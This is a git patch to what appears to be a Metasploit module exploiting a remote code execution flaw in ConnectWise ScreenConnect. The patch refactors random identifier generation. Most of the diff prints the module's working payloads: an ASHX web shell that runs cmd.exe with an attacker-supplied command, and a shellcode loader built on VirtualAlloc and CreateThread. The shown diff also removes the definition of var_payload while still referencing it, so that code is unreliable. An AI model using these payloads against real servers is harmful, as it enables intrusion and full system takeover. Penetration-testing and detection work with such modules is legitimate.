From 2839683af509726f86e4b13aae38b4978dd98b71 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 21 Feb 2024 17:08:40 +0000 Subject: [PATCH] use Rex::RandomIdentifier::Generator to generate identifiers. --- .../http/connectwise_screenconnect_rce.rb | 52 +++++++++++-------- 1 file changed, 31 insertions(+), 21 deletions(-) diff --git a/modules/exploits/windows/http/connectwise_screenconnect_rce.rb b/modules/exploits/windows/http/connectwise_screenconnect_rce.rb index 3894c0feba..5ea120555c 100644 --- a/modules/exploits/windows/http/connectwise_screenconnect_rce.rb +++ b/modules/exploits/windows/http/connectwise_screenconnect_rce.rb @@ -188,49 +188,59 @@ class MetasploitModule < Msf::Exploit::Remote payload_ashx = "#{Rex::Text.rand_text_alpha_lower(8)}.ashx" - payload_handler_class = Rex::Text.rand_text_alpha(8) + # According to Microsoft (https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/) these are + # the list of valid C# keywords, we create a Rex::RandomIdentifier::Generator to generate new identifiera for + # use in the ASHX payload, and pass the list of valid C# keywords as a forbidden list so we dont accidentaly + # generate a valid keyword. + vars = Rex::RandomIdentifier::Generator.new({ + forbidden: %w[ + abstract add alias and args as ascending async await + base bool break by byte case catch char checked class const continue decimal default delegate descending do + double dynamic else enum equals event explicit extern false file finally fixed float for foreach from get + global goto group if implicit in init int interface internal into is join let lock long managed nameof + namespace new nint not notnull nuint null object on operator or orderby out override params partial private + protected public readonly record ref remove required return sbyte scoped sealed select set short sizeof + stackalloc static string struct switch this throw true try typeof uint ulong unchecked unmanaged unsafe ushort + using value var virtual void volatile when where while with yield + ] + }) if target['Arch'] == ARCH_CMD - payload_psi_var = Rex::Text.rand_text_alpha(8) - payload_data = %(<% @ WebHandler Language="C#" Class="#{payload_handler_class}" %> + payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %> using System; using System.Web; using System.Diagnostics; -public class #{payload_handler_class} : IHttpHandler +public class #{vars[:var_handler_class]} : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - ProcessStartInfo #{payload_psi_var} = new ProcessStartInfo(); + ProcessStartInfo #{vars[:var_psi]} = new ProcessStartInfo(); - #{payload_psi_var}.FileName = "cmd.exe"; + #{vars[:var_psi]}.FileName = "cmd.exe"; - #{payload_psi_var}.Arguments = "/c #{payload.encoded.gsub('\\', '\\\\\\\\')}"; + #{vars[:var_psi]}.Arguments = "/c #{payload.encoded.gsub('\\', '\\\\\\\\')}"; - #{payload_psi_var}.RedirectStandardOutput = true; + #{vars[:var_psi]}.RedirectStandardOutput = true; - #{payload_psi_var}.UseShellExecute = false; + #{vars[:var_psi]}.UseShellExecute = false; - Process.Start(#{payload_psi_var}); + Process.Start(#{vars[:var_psi]}); } public bool IsReusable { get { return true; } } }) else - var_func_addr = Rex::Text.rand_text_alpha(8) - var_thread_id = Rex::Text.rand_text_alpha(8) - var_bytearray = Rex::Text.rand_text_alpha(8) - var_payload = Rex::Text.numhexify(payload.encoded, Rex::Text::DefaultWrap, '', '', '', '', ',') - payload_data = %(<% @ WebHandler Language="C#" Class="#{payload_handler_class}" %> + payload_data = %(<% @ WebHandler Language="C#" Class="#{vars[:var_handler_class]}" %> using System; using System.Web; using System.Diagnostics; using System.Runtime.InteropServices; -public class #{payload_handler_class} : IHttpHandler +public class #{vars[:var_handler_class]} : IHttpHandler { [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect); @@ -240,15 +250,15 @@ public class #{payload_handler_class} : IHttpHandler public void ProcessRequest(HttpContext ctx) { - byte[] #{var_bytearray} = { #{var_payload} }; + byte[] #{vars[:var_bytearray]} = { #{var_payload} }; - IntPtr #{var_func_addr} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{var_bytearray}.Length, 0x3000, (IntPtr)0x40); + IntPtr #{vars[:var_func_addr]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{vars[:var_bytearray]}.Length, 0x3000, (IntPtr)0x40); - Marshal.Copy(#{var_bytearray}, 0, #{var_func_addr}, #{var_bytearray}.Length); + Marshal.Copy(#{vars[:var_bytearray]}, 0, #{vars[:var_func_addr]}, #{vars[:var_bytearray]}.Length); - IntPtr #{var_thread_id} = IntPtr.Zero; + IntPtr #{vars[:var_thread_id]} = IntPtr.Zero; - CreateThread(IntPtr.Zero, UIntPtr.Zero, #{var_func_addr}, IntPtr.Zero, 0, ref #{var_thread_id}); + CreateThread(IntPtr.Zero, UIntPtr.Zero, #{vars[:var_func_addr]}, IntPtr.Zero, 0, ref #{vars[:var_thread_id]}); } public bool IsReusable { get { return true; } }